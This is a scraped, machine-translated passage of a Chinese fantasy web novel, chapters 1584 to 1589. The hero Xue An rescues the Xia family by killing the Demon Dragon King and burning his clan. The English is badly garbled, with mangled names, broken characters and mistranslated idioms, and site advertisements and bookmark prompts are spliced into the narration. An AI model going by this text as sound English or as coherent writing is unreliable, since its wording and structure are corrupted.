    A big red character embroidered on the flag, Tu!


    This kind of momentum makes the scalp numb.


    At least everyone in Wuwangya who witnessed this scene was shocked.


    In the small courtyard, the faces of the three bosses Liu all changed.


    Because of the encounter on the flying boat, they have a deep shadow on these abyssal dragons.


    But Xia Yi on the side beamed his eyes and said admiringly: "Have you seen this, my lord? This is really a perfect creation! Only such an existence is qualified to control that enormous power!"


    Boss Liu gave a reluctant hum, but he was thinking about how to get out as soon as possible.


    At the same time, from the group of magic dragons, a huge dragon slowly lifted into the sky, the huge dragon head raised high, overlooking Wuwang Cliff, and the dragon eyes were full of cruel and tyrannical colors. .


    "Where is the murderer of my daughter?"


    The sound of thunder made the entire Wuwang Cliff tremble.


    All eyes instantly converged on the Xia family mansion located in the middle.


    In this situation, only a soft drink came from the Xia family mansion.


    "The Xia family is here!"


    As he spoke, but seeing the group of people rising into the sky, the head of the Xia family was Xia Zheng.


    His appearance made the dragon army tremble slightly.


    Mo Litu looked at Xia Zheng up and down, then Jiejie sneered.


    "Are you the Patriarch of the Xia Family?"


    Xia Zheng nodded, then folded his hands, "Patriarch Xia has seen Lord Demon Dragon King!"


    The voice was calm, and the expression was neither humble nor overbearing.


    This performance has also made many people secretly admire.


    You have to know that the other party is a Demon Dragon King who can exist as a fairy king!


    Faced with such an existence, no one can say that there is a certainty of victory.


    But Xia Zheng did not show the slightest fear, how could this not be admirable.


    Mo Litu was also slightly startled, but soon sneered. Sixth book


    "Very well, since you are the Patriarch of the Xia family, now hand over the murderer who killed my female dragon princess!"


    Xia Zheng still didn''t have any expressions, just shook his head slightly, "I''m sorry, Lord Dragon King, please forgive me that the Xia family can''t follow my life!"


    "What are you talking about?" Mo Li Tu roared, and the huge dragon power instantly spread, shook Xia Zheng and others away.


    There was a commotion in the audience.


    "What does Xia want to do this time? Could it be that I want to kill us?" someone yelled.


    "Who said no, is he so stupid? How dare to fight against Lord Demon Dragon King?"


    These shouts one after another.


    But Xia Zheng remained calm, and said calmly: "Lord Demon Dragon King, you said someone killed your daughter, but what you don''t know is that before that, our Xia family was almost wiped out because of your daughter''s intervention. So we are just fighting back! Is this wrong?"


    Xia Zheng''s words completely ignited Mo Li Tu''s anger, "I don''t care if I am wrong, but since my daughter is dead, you will have to pay for it!"


    Speaking of this, Mo Li Tu grinned and flicked his tail, and his huge body drew straight towards everyone in the Xia family.


    The speed and power are so fast, it''s like a big mountain smashed down out of thin air.


    Faced with such a blow, Xia Zheng did not retreat in the slightest. Instead, he urged his entire cultivation base to face the blow of Mo Li Tu.


    Boom!


    There was a loud noise.


    However, seeing Xia Zheng and the rest of the Xia family were bombarded and flew far away like dead leaves in the wind.


    After waiting to stand still, Xia Zheng opened his mouth and vomited a big mouthful of blood.


    As for the other Xia family members, it was even more terrible.


    Just one blow.


    Everyone in the Xia family was almost wiped out.


    This also directly proved the strength of Mo Li Tu Qiangjue.


    "I''ll ask you again, the murderer of my daughter, will you pay or not?"


    Before Mo Li Tu''s eyebrows, a man with an imposing manner gradually emerged, he shouted sharply, his face full of murderous intent.


    Xia Zheng wiped the blood from the corner of his mouth, his face was gray, but he laughed.


    "You can''t help the loach in the affairs of the Xia family, so if you don''t pay, you don''t pay!"


    These words also changed the audience''s dismay.


    Mo Litu was even more angry and smirked, "Good, good! Sure enough, if this is the case, then I will do you all!"


    After all, the man transformed by Mo Li Tu flashed his body and instantly appeared in front of Xia, raising his hand with a palm.


    Xia Zheng reluctantly urged the rest of his cultivation base to fight this Demon Li Tu, but his strength was too far apart.


    Hearing only a muffled noise from Peng, Xia Zheng was shot and flew out like a kite with a broken line.


    "Patriarch!" The elders of the Xia family all exclaimed, and then they roared.


    "Black Loach, grandpa fights with you!"


    In the sound of killing, everyone in the Xia family rushed forward and was about to fight Mo Litu.


    Mo Li Tu''s face showed a brutal color, and he planned to kill.


    But at this moment, only a whistling sound came from the sky.


    "stop!"


    Following the voice , a figure rushed forward and appeared in front of everyone.


    After seeing the person who spoke, Xia Zheng, who was already seriously injured, was even more angry and spit out a big mouthful of blood.


    Because it was Xia Qi who had been sent away three days ago that appeared in the field.


    "Qi''er..." Xia Zheng trembled.


    Xia Qi looked calm, smiled at him slightly, and then turned her head to stare at Mo Litu coldly.


    "Aren''t you looking for the murderer who killed your daughter? I am"


    Https://


    Only one second to remember the address of this site:. Mobile version reading URL:

 Chapter 1585： Long Jin as evidence

    The audience was silent.


    The people looked at each other and then began to whisper.


    "What? It was this girl who killed the Devil Dragon Princess?"


    "I recognize her, she is the eldest lady of the Xia family named Xia Qi!"


    "is that true?"


    "Who knows, let''s see how to develop next!"


    Mo Litu looked at Xia Qi up and down, and couldn''t help but sneer after seeing just an ordinary girl.


    "You said...you killed my girl Chunqing?"


    Xia Qi nodded, "Yes!"


    "Are you joking? Or do you think I''m a fool? My daughter is a dignified Dragon Princess. How can she be her opponent based on you?"


    These few questions from Mo Litu were also the doubts in the hearts of many people.


    Faced with the mighty power of the Demon Dragon King, even though Xia Qi''s face was as pale as paper, she did not take a step back, but took a deep breath and spoke slowly.


    "As the Demon Dragon King, don''t you know what Human Race is best at?"


    Mo Litu''s expression changed, "You..."


    "Yes, although my strength is not worth mentioning, I have wisdom and strategy! So I easily gained the trust of your daughter and eventually led her into the trap! That is to say, your daughter is not dead In the hands of the strong, but died under my conspiracy!"


    Xia Qi''s voice was clear and clear, but Mo Litu''s complexion became more and more difficult to look, until after listening, he yelled to the sky.


    "No! This is impossible! Chunqing is equally resourceful and she will never get caught in the trap so easily!"


    In the roar, the might of the Dragon King was like a stormy sea, causing Xia Qi to retreat one after another, and her figure became more and more trembling.


    Everyone in the Xia family naturally saw this scene, and many of the old faces of Xia''s parents looked sad and turned their heads and couldn''t bear to watch it again.


    Because they all knew that Xia Qi clearly wanted to sacrifice herself to save the Xia family!


    So despite all the humiliation in their hearts, everyone in the Xia family could only remain silent.


    Xia Zheng, who was already seriously injured, was no exception, but at this time he did not have the sadness he had before. On the contrary, he looked at Xia Qi''s back as tall as a sword facing the mighty dragon king with a calm expression on his face. There was a hint of comfort and pride.


    These are the children of the Xia family!


    Even in the face of such a strong man, he still refuses to bow his head and is willing to sacrifice himself to save the entire family.


    However, Xia Yi on the ground was so angry that his teeth were almost broken.


    "Xia Qi, you bitch, you actually sacrificed yourself in order to cover him. I don''t understand. Why is he worthy of you?"


    At this moment, Mo Li Tu finished venting his anger, and Huo Ran lowered his head and stared at Xia Qi with cold eyes.


    "Woman, are you deceiving me?"


    This questioning made many people feel disgusted.


    Mo Li Tu continued to say with a grimace: "Do you think that just a few words can convince me? You are too naive, your human race is really good at conspiracy and tricks, but my dragon family was born in a bottomless abyss, why? You may be caught in your trap so easily, so you are clearly trying to hide something by saying that, am I right?"


    As the king of the Demon Dragon clan, Mo Li Tu has survived for at least several thousand years. Even a fool, he will become wise after living so long.


    What''s more, Mo Litu is not a fool.


    Therefore, these remarks hit the key point, and many people in the Xia family turned pale when they heard the words, staring at Xia Qi''s back, all worried about her.


    Xia Yi on the ground breathed a sigh of relief when he heard the words, then grinned and said, "As expected, he is the Demon Dragon King, and he can see through this trick at a glance, Xia Qi, let me see what you do now!"


    Unexpected.


    Xia Qi was not as flustered as everyone thought, on the contrary, she looked at the opposite Mo Litu with a calm face, and slowly said: "So, don''t you believe it?"


    "Of course! And I''m tired of your tricks! Now I give you one last chance to hand over the murderer who killed my daughter, otherwise... die!" Mo Litu said with a cold face.


    Xia Qi laughed when she heard the words, and then slowly raised her hand, flipping her wrist, and a white lustre appeared in her palm like a rubber band.


    "What if it is there to prove it?" Xia Qi said solemnly.


    After seeing this thing in Xia Qi''s hand, Mo Litu''s expression suddenly changed, and then he showed infinite rage.


    "Long Jin?"


    Xia Qi nodded, "Yes, it is the dragon tendons of your magic dragon. Now, can you believe my words?"


    boom!


    Xia Qi''s remarks seemed like a blockbuster, not only the Wuwang Cliff that exploded and everyone was shaken by it, but also the turmoil with the magic dragon in the sky.


    "Sure enough, it''s the dragon tendons of my dragon clan!"


    "Damn it, the human race dare to do this to my monster clan and will kill it!"


    All of a sudden, the killing sounded everywhere.


    The killing intent on Mo Litu''s face was even more stagnant to the point where he prodded his hand.


    A huge suction instantly attracted Xia Qi, who was standing far away.


    The violent Longwei restrained Xia Qi, making her suspended in the air, unable to move at all.


    Then Mo Litu shouted angrily: "What the **** is going on? How exactly did you kill my daughter, I still can''t tell the truth!"


    Facing Longwei so close, Xia Qi''s spirit was immediately greatly damaged. But even so, she was still full of mockery, and even the sneer at the corner of her mouth did not change.


    "It''s very simple, everything is because your daughter is too stupid! That''s why I killed it so easily!"


    There was a momentary silence in the audience because of Xia Qi''s words.


    Because these words are simply terrible.


    This is not looking for death, but rushing towards death without hesitation.


    People can even imagine Mo Litu tearing Xia Qi to pieces in a rage.


    really.


    Mo Li Tu''s anger was completely ignited.


    "Stupid human beings, you dare to slander my daughter like this, UU reading , I will break your corpse into ten thousand pieces, and then imprison your soul in the sea of ??darkness, so that you will never live beyond life!"


    Everyone in the Xia family bowed their heads sadly when they heard this.


    Xia Zheng opened his mouth and spit out another mouthful of blood, and the brilliance in his eyes gradually dimmed.


    Xia Qi didn''t show the slightest fear, she just raised her head hard to look at the furious Mo Litu, a relief smile appeared on the corner of her mouth, and then she slowly closed her eyes.


    This dragon tendon was left by the magic dragon that Xue An killed on the flying boat. This thing was of no use to Xue An, so he gave it to Xia Qi.


    Xia Qi always carried it with her, but she didn''t expect it to come in handy this time.


    As for death?


    If she was afraid of death, she would never come back!


    But just when Moli Tu was ready to kill the killer.


    One person jumped up from the ground and shouted: "Lord Dragon King, this person is not a murderer, I can testify!"

 Chapter 1586： 1 Punch Enemy

    oom!


    The audience was boiling.


    No one thought that this incident would be so twists and turns.


    When Xia Qi heard this familiar voice, she was taken aback for a moment, and then suddenly opened her eyes.


    really.


    It was Xia Yi who spoke.


    When seeing this familiar face, Xia Qi''s heart suddenly rose with infinite anger.


    If her gaze could kill people, Xia Yi would have died in her gaze now.


    "Xia Yi, you..."


    Xia Yi didn''t realize it, but smiled at Mo Li Tu Yan and said, "Lord Dragon King, I can testify that this person is definitely not the murderer of your daughter!"


    "Oh? What do you say?" Mo Litu quickly recovered his calm, and asked in a deep voice.


    Xia Yi hurriedly smiled and said: "Lord Dragon King didn''t know. Although the situation was chaotic at the time, I saw it clearly from beginning to end, so it was not this person who killed your daughter, but a white-clothed teenager! "


    Hearing this, Mo Litu''s complexion suddenly became tyrannical, and he raised his hand to pinch Xia Qi''s neck, and then slowly lifted it into the air.


    Xia Qi struggled hard, her face gradually turning red.


    "What he said, is it true?" Mo Li Tu hate said.


    When Xia Qi heard the words, there was a cheerful color on her face, and then exhausted all her strength, saying word by word: "Yes, so what?"


    A violent color appeared in Molitu''s eyes, "You humble humans, who dare to play with the noble dragon clan like this, now tell me who the murderer is, or I will let you die now without a place to bury you. !"


    Such violent Longwei made the surrounding world tremble.


    But Xia Qi, who faced this directly, laughed out, "Are you afraid?"


    The laughter was full of sarcasm.


    The anger in Mo Litu''s eyes became more and more serious, his fingers gradually tightened, and he asked in a cold voice, "What are you talking about? How can the noble dragon clan be afraid?"


    The expression on Xia Qi''s face became more relaxed, "You are really scared!"


    As she said, Xia Qi turned her head and looked at Xia Yi, "Cousin, this is the last cousin I called you, because I think you are really pitiful, and you betrayed the dignity of the entire human race for your own personal gain. Hey, I really don��t know where you will end up in the future?"


    Xia Yi''s face sank, just about to speak.


    Mo Li Tu couldn''t bear the cynicism in Xia Yi''s words. With a violent finger, Xia Qi trembled, and then he said in hatred.


    "Humble human race, are you laughing at me? I hate your tone of voice, you know? And do you really think I can''t do anything to you? Hehe, it''s so naive, even if I kill you now, I still can Get everything I want from your mind!"


    Xia Qi looked painful, but her eyes were silent, staring coldly at Mo Li Tu, as if mocking.


    Mo Li Tu felt that a certain sensitive part deep in his heart had been touched, and his heart became more and more furious.


    "Go to death for me!"


    As he said, he pressed his fingers hard, and he cut off Xia Qi''s neck.


    Xia Qi felt a pounding force hit from between her neck, and then she closed her eyes as if she accepted her fate.


    But at this moment.


    Deep in the void above the crowd, the space suddenly began to tremble.


    Immediately afterwards, a long and narrow crack appeared in the space.


    Then from the crack appeared an aura that made the world tremble.


    As soon as this breath came out, the audience was shocked.


    Xia Qi''s eyes that had been closed because of despair suddenly opened.


    Because at this moment.


    But in the narrow crack, a young figure gradually emerged.


    This young man is dressed in white and has a long body. Just looking at his back gives people an inexplicable peace of mind.


    But when he appeared in front of Mo Li Tu''s eyes, it made his eyelids jump wildly.


    Immediately afterwards, but seeing this figure becoming more solid,


    finally.


    Xue An emerged from the void.


    At this moment.


    The sky trembled.


    As if the courtiers were cheering for the arrival of his king, the laws of the whole world were shaking.


    This kind of vision naturally attracted Mo Litu''s attention.


    He looked cold.


    "This����."


    The voice did not fall, but seeing Xue An slowly raise his eyes, his face was full of impatient expression.


    "Are you the Demon Dragon King?"


    Mo Litu was a little dumbfounded, and then almost nodded in a ghostly spirit.


    "Yes!"


    Xue An is very upset now.


    Because Yan''er is still in a coma until now.


    This disrupted Xue An''s many plans.


    Even the plan to rely on Mo Chunqing as a bait to attract the attention of the entire Demon Dragon family was stranded.


    Because of An Yan''s unexpected situation, Xue An now has no thoughts about how to target the Demon Dragon family.


    In fact, if it were not for the fluctuations in the outside world, he would not even show up.


    So when I saw Mo Litu nodded arrogantly and admitted his identity.


    Xue An shouted very simply, "Very well, then you will die here today!"


    After all, Xue An took a step and punched straight.


    There is nothing surprising about this punch.


    At least everyone present did not see the slightest clue.


    It seems to be no different from ordinary battles.


    Even Molitu thought so.


    He didn''t recognize Xue An at first, but suddenly, he felt a mark of divine consciousness from Xue An.


    This imprint of Divine Mind clearly came from his own daughter, which clearly showed that he was inseparable from his daughter''s death.


    Therefore, he was a violent spirit at the time, and immediately saw Xue An''s punch rushing forward.


    He couldn''t help but grinned, "Good job!"


    With that, he raised his hand to meet Xue An''s punch.


    unfortunately.


    Until the time when the two sides fought together.


    Only then did Mo Litu understand what Xue An''s punch meant.


    At that moment, Molitu felt a majestic and powerful force suddenly spreading, and then blasted this tremendous force upside downhis!


    Everyone in the audience originally thought that this blow would be Xue An''s defeat.


    But after seeing this scene, they couldn''t help taking a breath.


    what?


    The Devil Dragon King was actually blown out?


    How is this possible?


    Xue An didn''t show the slightest expression of surprise. Instead, he still said impatiently: "Is it just this strength? Then go to death!"


    After that, Xue An slammed, and the whole person rushed up like a cannonball, and went straight to the Moli Tu.


    Mo Litu felt the huge pressure on his face, and couldn''t help screaming.


    "Do not!"


    Xue An didn''t care about these at all, raising his hand was a punch!


    "Give me... die!"

 Chapter 1587： True power

    This is an indescribable punch.


    Xue An condensed all his anger in this punch.


    The six styles of killing gods, as well as the various boxing secrets that Xue An has learned over three thousand years, are all integrated at this moment.


    boom!


    It was as if a world-destroying nuclear bomb exploded.


    The extremely violent force even shook the space in front of him into dust, turning it into a black hole that even light could not penetrate.


    Facing this kind of power, Mo Li Tu was so scared that his guts were scarred, and his previous arrogance disappeared, hissing exclaimed: "My lord, don''t..."


    The rest of the story hasn''t been finished yet, and the power of this punch is already present.


    The first thing that was broken was the human form transformed by Moli Tu.


    Immediately afterwards, the huge dragon body of Mo Li Tu was also blasted out by this huge force.


    puff!


    Mo Litu was vomiting blood, until he ran into a dozen or so of the dragon''s men before he could stop his body.


    Looking at Mo Li Tu again at this time, the huge dragon body was dripping with blood, and in some places the bones were exposed, and the appearance was simply miserable.


    There was deathly silence.


    Everyone was stunned by this shocking punch.


    And from the appearance of Xue An to the present, there are only a few blinks in total.


    But even in such a short period of time, the Demon Dragon King who had just been arrogant and so arrogant was beaten with no power to fight back.


    This strong contrast is so shocking that everyone in the audience is speechless.


    Naturally, Xia Qi was no exception. She quietly looked at Xue An, who stood proudly in the distance, and her eyes gradually showed brilliant brilliance.


    Before that, she had thought that she was bound to die.


    Unexpectedly, at the juncture of life and death, Xue An descended from the sky, and then flew out the magical slaughter.


    At that moment, the violent power displayed by Xue An deeply shocked Xia Qi and made her look at Xue An full of admiration.


    As for the rest of the Xia family, they were naturally shocked.


    Severely injured Xia Zheng stared at this scene blankly, and whispered in his mouth: "Is this... the real power?"


    at the same time.


    Mo Litu panted heavily and looked at Xue An with horror.


    You must know that it is the existence of the half-step fairy king, and because of the blessing of the dragon blood, its strength is so much higher than that of the powerhouse of the same level.


    But with such strength, there was no way to fight back when facing Xue An.


    This couldn''t help making Mo Li Tu''s heart full of horror, and even trembling slightly.


    Xue An slowly retracted his fist and raised his eyebrows slightly, "You can actually catch my fist. It seems that your cultivation is pretty good!"


    Mo Litu trembled, and said cautiously: "My lord, I think there must be some misunderstanding between us!"


    "Misunderstanding?" Xue An smiled coldly, "Didn''t you keep saying that you are looking for the murderer of your daughter? I am! Is there a misunderstanding?"


    As soon as this statement came out, there was a commotion in the audience.


    "Hey! It turns out that this person is the mysterious master before!" Someone said in shock.


    "God, even the Demon Dragon King is not his opponent, how powerful is his strength?" Someone whispered softly.


    But if you say who is the most afraid of the audience, you have to count the three bosses Liu.


    They looked at this scene in the sky with pale faces, and it was not until a long time later that the triangular eyes swallowed their saliva with difficulty and trembled.


    "Old... boss, this... isn''t this the adult on the flying boat?"


    Boss Liu shuddered even more, with cold sweat on his head, "Yes...Yes!"


    Then all three of them were silent.


    If possible, they really want to run as far as possible, and it is best to stay as far away from Xue An as possible.


    Because they all remember the words Xue An said to them before.


    If there is another time, he will not let him go easily.


    But at this moment, that Xia Yi approached with a bitter face and whispered: "My lord, this is the enemy I want you to get rid of! Do you feel confident?"


    Boss Liu: "..."


    Then he was completely angry.


    grasp?


    Be sure of a fart.


    It was a fluke that he could survive, and this Xia Yi actually wanted to send himself to death!


    Could he not see the situation in front of him?


    That is the existence of even the Devil Dragon King is not its opponent!


    At this point, he winked at the triangular eyes and pointed monkey cheeks with murderous expression on his face.


    The two understood, and then said with a smile at Xia Yi, "Who is our boss? Naturally, we are sure! But this is not suitable for talking. How about we stay aside and wait for the moment?"


    Xia Yi was overjoyed when he heard this, and nodded again and again: "Okay!"


    Then the three of them took Xia Yi quietly and left the crowd, and went elsewhere.


    Of course, this is just an inconspicuous episode, no one paid attention to this matter at all, and everyone focused all their attention on the sky.


    The Moli Tu at this moment has all the hearts that want to cry.


    Why does he think he is so unlucky!


    I originally wanted to avenge my daughter, but I didn''t expect to provoke such a great god.


    If it had known so long ago, even if it used its courage, it would not dare to come here to make a mistake.


    Unfortunately, there is no regret medicine in the world.


    He could only bite the bullet and laughed and said: "When...Of course it is not a misunderstanding, but since my daughter died in the hands of an adult, it is obvious that something is wrong with her, so it is better to expose this matter. What do you think?"


    In words, he seemed to have forgotten how aggressively he had come here to ask the teacher.


    His change of attitude like changing his face also made many people in the court stunned.


    No one thought that one day he would see a strong man like the Demon Dragon King so stubborn and respectful.


    But Mo Litu didn''t take it seriously.


    Because as a demon clan, obeying the strong is a norm engraved in the bones.


    As long as your fists are hard enough, then there is nothing that cannot be discussed.


    What''s more, it was only one of my own daughter who died The big deal will be over if I have another one.


    But if you die, it''s all over.


    Because of this, there is no pressure on Mo Litu''s attitude to change.


    But what it never thought was that it wanted to calm down things, but Xue An didn''t want to.


    Otherwise, this Moli Tu was also unlucky.


    Xue An himself was full of anger because of Yan''er, and it happened to hit the muzzle again.


    So Xue An has already regarded it as a venting bag.


    What''s more, Xue An spent a lot of time, just trying to wipe out the Devil Dragon clan, so that Xiao Sha can wake up as soon as possible.


    So under such circumstances, no matter what Molitu does, it can no longer change its destiny.


    Seeing Xue An smiled slightly, "Just expose it?"


    Mo Litu nodded as if smashing garlic, "Yes, yeah! As long as this has never happened, what do you think?"

 Chapter 1588： 1 sword cross the sky, fire here

    Due to unknown reasons, Sogou suddenly couldn''t search this site today. Please remember the domain name of this site (Shuhaige Quanpin) to find your way home! You can search for "Invincible, Start from Xianzun Dad ( in Baidu to find the latest chapter!


    "It sounds good!" Xue An said lightly.


    Many people secretly breathed a sigh of relief when they heard this. In their opinion, since Moli Tu had already conceded, then this matter is likely to end.


    Although everyone in the Xia family was a little disappointed, the result was much better than before, so they didn''t say anything.


    But at this moment, but seeing Xue An showing white teeth, he smiled and said, "But what if I don''t want it?"


    Mo Litu shook his whole body, and then a look of anger appeared in his eyes.


    "My lord, there is a saying from your human race that it is called killing but nodding. I have already given up. Why are you so aggressive?"


    Xue An suddenly burst into laughter when he heard the words. The laughter shook all the fields and made people feel disgusted.


    Suddenly, Xue An restrained his laughter, and then looked at Mo Litu with cold eyes.


    "You said I''m aggressive? Well, if I didn''t show up at the moment, what shall you do? Are you planning to completely slaughter the Xia Family and then bloodbath Wuwangya?"


    Mo Li Tu''s complexion became extremely ugly, and finally he suppressed the anger in his heart and said in a cold voice.


    "My lord, do powerful people like you care about these ants?"


    "Ants?" Xue An chuckled, then raised his hand to point to the crowd, and said lightly: "You see them like ants, but you know, I think you are the same!"


    "Enough!" Mo Li Tu was finally completely angry.


    Because it can see it too, the white-clothed boy in front of him obviously doesn''t intend to let him go.


    In this case, Molitu also inspired the most primitive animal nature from the bloodline, and shouted in a vengeful voice: "Friend, please forgive others and forgive others. Don''t think I am really afraid of you! And don''t care about you. No matter how tyrannical in strength, my dragon clan is not a vegetarian!"


    "If you are in a hurry, my Devil Dragon clan will fight to die and break the net!"


    In the face of Mo Litu''s wicked words, Xue An just smiled coldly, and then softly said: "The fish die and the net breaks? That''s good! Then I will see how you fight with me to fight the fish death net break!"


    Before he finished his words, Mo Li Tu suddenly roared, "The Devil Dragon... Eat the sky!"


    As it spoke, but seeing that the magic dragon within a radius of a thousand feet did not even have time to scream, Qi Qizhen turned into blood in the sky in order to confuse powder.


    Immediately after that, the blood rushed into Moli Tu''s body madly.


    Click!


    With a burst of crisp sound like firecrackers, Mo Litu''s body began to grow wildly as if blowing in air.


    However, within a short while, Mo Litu''s body grew into a giant of hundreds of thousands of feet.


    Then Mo Litu raised the dragon head that was a thousand meters in size, stared at Xue An with cold eyes, and then Jiejie sneered.


    "dead!"


    Once a word is spoken, it is like the law follows.


    A majestic force directly acting on the laws of heaven and earth, instantly fell on Xue An''s head.


    But seeing the space was twisted into a twist shape, and then it broke apart with a click.


    The space debris turned into the most powerful and sharp weapon, covering the audience like a violent tornado, cutting everything within the range.


    Even wherever the aftermath of the might, no matter how strong it was, he was shocked to vomit blood, and then retreated madly with a frightened face.


    But this blow also caused Mo Litu to pay a great price, only to see it vomiting blood with a big mouth, the charm of the dragon eyes also dimmed a lot.


    But even so, it still laughed heartily.


    "Sure enough, I''m still young, I don''t even hide, but I don''t know that even the strong immortal king has to think about three points with my blow, let alone you! Now, I see how you can survive!"


    When Xia Qi saw this, she screamed, "My lord!"


    Immediately afterwards, all the Xia family members were shocked.


    Because the power of this blow is too terrifying.


    Their hearts raised their throats, and they all looked solemnly at this space storm.


    But just when Mo Litu was full of joy, thinking that Xue An was bound to die.


    Just heard a soft sigh from the storm.


    "If you are the immortal king''s cultivation base, this blow may hurt me, but the immortal king dare to be rampant in front of me?"


    Following the voice, in the space storm, a palm that looked like a sapphire sculpted out directly protruded, and then shook it suddenly.


    Click!


    The space storm that had been raging froze in an instant, and then all merged into this palm.


    The wind stopped, and Xue An''s calm figure appeared.


    Mo Litu''s eyes widened to the extreme in an instant, and he roared in disbelief, "How is it possible!"


    Xue An didn''t pay attention to its horror at all, but suddenly raised his eyes, a bright brilliance appeared in his eyes, and then took a step forward and shouted coldly.


    "Look at me, Yijian... Hengtian!"


    boom!


    Following Xue An''s order, countless white and snowy sword lights suddenly appeared in the entire world, setting off everything around him like a dream.


    Immediately afterwards, these sword lights rushed towards Xue An like a collapse.


    With a creaking sound, these countless sword lights gradually condensed into a huge sword that could reach the sky.


    Mo Li Tu was frightened, but the keen intuition from the monster clan made it feel a terrible danger.


    Almost in an instant, it understood that this sword was not its own rival.


    It also saw the opportunity quickly, almost immediately when the thought came to mind, it turned around and fled without hesitation.


    As the king of the abyssal dragon, its control of space is indeed strong enough.


    At least as soon as it turned around, a spatial fissure appeared in front of it. As long as it could escape into it, Molitu was confident that it could escape far away.


    unfortunately.


    In front of Xue An, all struggles are destined to be futile.


    Before Mo Li Tu''s body entered.


    This sword slashed with infinite violent posture.


    "Do not!"


    Mo Litu let out a miserable cry, and directly burned all the blood, trying to resist this sword.


    But as soon as it touched, the sword was like a hot knife slicing butter, slashing straight through without any hindrance.


    Then the surrounding world quieted down.


    Mo Litu''s body was stagnant in the air, until after a few breaths, it turned its head to look at Xue An with difficulty.


    "This...what sword technique is this?"


    Xue An was expressionless and said lightly: "This is my swordsmanship!"


    "So that''s it!" Mo Litu whispered softly, and then the brilliance in his eyes faded quickly.


    Click!


    After a crisp sound its entire body burst open. Turned into full of blood.


    One sword!


    The Demon Dragon King who was comparable to the fairy king fell.


    No one dared to speak, everyone looked at the white-clothed young man in the void with infinite horror.


    As for the magic dragon full of sky, it was even more upset, and then began to flee in all directions.


    Upon seeing this, Xue An just smiled coldly, "Want to escape? It''s not that easy!"


    Having said that, he took another step forward, and a crystal clear red lotus suddenly appeared between his forehead.


    "Huolian...here!"


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (Chapter 1592 Yijian Hengtian, Huoling Here (second more)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 1589： Refining the Devil Dragon

    () You can search for "Invincible, Start from Xianzun Dad( in Baidu to find the latest chapter!


    As soon as he said this, he saw the red lotus leaf trembling, and then it bloomed vigorously.


    Immediately afterwards, the red lotus began to split at an eye-popping speed.


    One is divided into two, two is divided into four.......


    In an instant, the red lotus blossomed all over the sky, setting off the whole world like a dream.


    Everyone looked silly.


    Only these magic dragons can feel the murderous intent hidden under the seemingly weak and magnificent red lotus.


    This can''t help making them escape faster, and I really want to grow a pair of wings to escape here as soon as possible.


    But all this is just a dying struggle.


    Just listen to a loud bang.


    The red lotus all over the sky turned into a boundless flame, and then all fell, covering everything.


    "Do not!"


    Many magic dragons uttered desperate screams, and the bolder ones opened their mouths and spit out the dark dragon flames, trying to resist the falling flames.


    But no matter what type of dragon flame it was, he didn''t even make a sound after coming into contact with this flame, and was directly evaporated into nothingness.


    Immediately afterwards, flames descended on the bodies of these dragons.


    The former tyrannical body at this moment is like ice and snow under the scorching sun, rapidly melting and evaporating.


    The screams shook the four fields, making many people pale.


    Because this scene is too shocking.


    That is a clan of dragons who have spent many years in the dark sea!


    Even the big people in Paradise Lost must be polite to them.


    Unexpectedly, today, such a tyrannical ethnic group suffered a disaster.


    First, the Dragon King was destroyed, and then the whole clan was born and refined.


    Only one person did it.


    If you hadn''t seen it with your own eyes, it is estimated that many people would not believe this to be true.


    at last.


    The screams gradually ceased, and after the fire dissipated, the group of Demon Dragons that had been densely covered with the sky had disappeared.


    Only a group of blood cells filled with warmth and luster remained in the air.


    This is the essence and blood of the whole Demon Dragon clan after being refined by the Red Lotus Karma.


    Xue An actually has two kinds of flames.


    One kind of pure white, one kind of brilliant.


    The pure white flames are extremely powerful, and they can kill all things in the sky.


    The bright flame has a wide range of nature, and it advocates smelting, which can be integrated into the world.


    Both of these flames were obtained by Xue An from a very strange place when he was the Immortal Venerable.


    When they fell later, these two flames were actually reborn with Xue An''s spirit.


    And some subtle changes have taken place in nature.


    And unless it is a special case, Xue An generally would not use two flames at the same time.


    Because it is not committed.


    This time is no exception. What Xue An wants is not only to destroy the abyssal dragon, but also to extract their blood to help Xiaosha wake up.


    That''s why he used the Red Lotus Karma Fire.


    At this moment, Xue An raised his hand and waved, this mass of blood fell into his palm, and then lowered his head to scan the audience.


    Everyone bowed their heads wherever they looked, and their faces were full of fear.


    Especially the various forces who had spoken harshly to the Xia family before, now their faces are pale, and their whole bodies are trembling.


    Although under normal circumstances, the law does not blame the public.


    But the world is like this, strength means everything.


    As long as you are strong enough, you can make all the rules.


    And God knows what this shameless white boy would think.


    What if he wants to investigate what happened before?


    Under this worry, many people''s heads were almost lowered to their chests, and their waists were deeply bent, trying their best to shrink the target, for fear that it would attract Xue An''s attention again.


    But they all thought wrong.


    As far as Xue An is concerned, he simply doesn''t bother to care about these forces like a wall.


    Because this is also human nature, as long as humanity is still there, then this phenomenon will always exist.


    So Xue An just glanced at them lightly, and then looked at the Xia family.


    Everyone in the Xia family shook together and hurriedly stood upright.


    Xue An''s gaze crossed these people, and finally his gaze stayed on Xia Zheng who was seriously injured and could only barely sit on the ground.


    There was another silence.


    The atmosphere in the audience became depressed.


    The heartbeat of everyone in the Xia family also started to speed up. I don��t know what the white-clothed boy really wants.


    kind.


    at last!


    Xue An spoke slowly, "Your Xia family... did a good job!"


    As soon as this remark came out, everyone in the Xia family let out a sigh of relief.


    Xia Zheng even clung his hands to the sky, and said strongly and self-supportingly: "Thank you for your praise!"


    Xue An waved his hand, "You don''t need to thank me, I didn''t praise you, this is all your Xia family won!"


    "After all, it is already rare to be able to stick to the heart when facing the threat of the dragon clan!"


    Xia Zheng smiled, but this smile affected the injuries in his body, causing the corners of his mouth to leak red blood.


    "Father!" Xia Qi exclaimed.


    When Xue An saw this, Guanghua flashed slightly in his eyes, and immediately separated a strand of blood from the mass of blood, and then flicked his fingers.


    Blood energy flew straight into Xia Zheng''s eyebrows.


    Xia Zheng''s expression was stunned, and then there were bursts of beeping sounds in his body, and his complexion began to improve at a speed visible to the naked eye.


    Almost in the blink of an eye, Xia Zheng, who had just been seriously injured just now, jumped up from the ground with a red face, and then said excitedly at Xue An.


    "Thank you sir for saving my life!"


    Xue An smiled faintly, "I said, don''t thank me! This is what you deserve, and the ray of blood I gave you at least condenses the vitality of a magic dragon, and it will also be of great benefit to your future practice. Even breaking through the existing realm is unknown."


    Xia Zheng became more and more excited when he heard this.


